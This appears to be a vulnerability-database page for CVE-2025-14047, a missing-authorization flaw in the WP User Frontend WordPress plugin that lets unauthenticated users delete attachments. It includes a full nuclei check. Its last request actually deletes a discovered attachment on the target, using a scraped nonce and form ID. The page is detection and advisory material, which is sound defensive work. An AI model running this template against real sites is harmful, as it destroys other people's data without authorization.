HexBrain

Browse / CVEs / CVE-2025-14047

CVE-2025-14047· wedevs / wp-user-frontend· CWE-862

User Frontend <= 4.2.4 - Missing Authorization to Unauthenticated Attachment Deletion

mediumseverity
5.3CVSS score
0.9%likelihood of exploitation, next 30 days
60%of all CVEs are less likely
Readycheck to confirm it

The WP User Frontend plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check in the Frontend_Form_Ajax::submit_post function. This makes it possible for unauthenticated attackers to delete attachment records through the plugin's AJAX handling when a public frontend form is available.

Impact

Unauthenticated attackers can delete attachment records, causing data loss for media uploaded through frontend submission forms.

Fix

Update WP User Frontend to version 4.2.5 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wp-user-frontend/readme.txt
Positive when: contains(body, "User Frontend") and compare_versions(version, "<= 4.2.4")
Send: GET /?rest_route=/wp/v2/media
Positive when: contains "\"id\":" and "\"type\":\"attachment\""
Send: GET /
Positive when: contains "wpuf_submit_post" and "_wpnonce"
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "\"success\":true" AND status 200

Run it with nuclei: nuclei -id CVE-2025-14047 -u <target>

The full check
id: CVE-2025-14047

info:
  name: User Frontend <= 4.2.4 - Missing Authorization to Unauthenticated Attachment Deletion
  author: iamatownboy
  severity: medium
  description: |
    The WP User Frontend plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check in the Frontend_Form_Ajax::submit_post function.
    This makes it possible for unauthenticated attackers to delete attachment records through the plugin's AJAX handling when a public frontend form is available.
  impact: |
    Unauthenticated attackers can delete attachment records, causing data loss for media uploaded through frontend submission forms.
  remediation: |
    Update WP User Frontend to version 4.2.5 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14047
    - https://wpscan.com/vulnerability/e667278f-7563-4c58-ba82-a6d50e1a7a30/
    - https://plugins.trac.wordpress.org/browser/wp-user-frontend/tags/4.2.2/includes/Ajax/Frontend_Form_Ajax.php#L35
    - https://plugins.trac.wordpress.org/browser/wp-user-frontend/tags/4.2.2/includes/Ajax/Frontend_Form_Ajax.php#L55
    - https://plugins.trac.wordpress.org/browser/wp-user-frontend/tags/4.2.2/includes/Ajax/Frontend_Form_Ajax.php#L133
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-14047
    epss-score: 0.00896
    epss-percentile: 0.59859
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    vendor: wedevs
    product: wp-user-frontend
    framework: wordpress
    publicwww-query: "/plugins/wp-user-frontend/"
  tags: cve,cve2025,wordpress,wp,wp-plugin,user-frontend,wpuf,authorization-bypass,unauth,ajax

flow: http(1) && http(2) && http(3) && http(4)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-user-frontend/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "User Frontend")
          - compare_versions(version, "<= 4.2.4")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /?rest_route=/wp/v2/media HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - '"type":"attachment"'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: attachment_id
        part: body
        group: 1
        regex:
          - '"id":(\d+)'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'id="_wpnonce"\s*name="_wpnonce"\s*value="([a-f0-9]+)"'
        internal: true

      - type: regex
        name: form_id
        part: body
        group: 1
        regex:
          - 'name="form_id"\s*value="(\d+)"'
        internal: true

    matchers:
      - type: word
        part: body
        words:
          - 'wpuf_submit_post'
          - '_wpnonce'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/

        action=wpuf_submit_post&form_id={{form_id}}&delete_attachments[]={{attachment_id}}&_wpnonce={{nonce}}&post_title={{rand_base(8)}}&post_content={{rand_base(8)}}&guest_name={{rand_base(6)}}&guest_email={{rand_base(8)}}@{{rand_base(4)}}.com

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from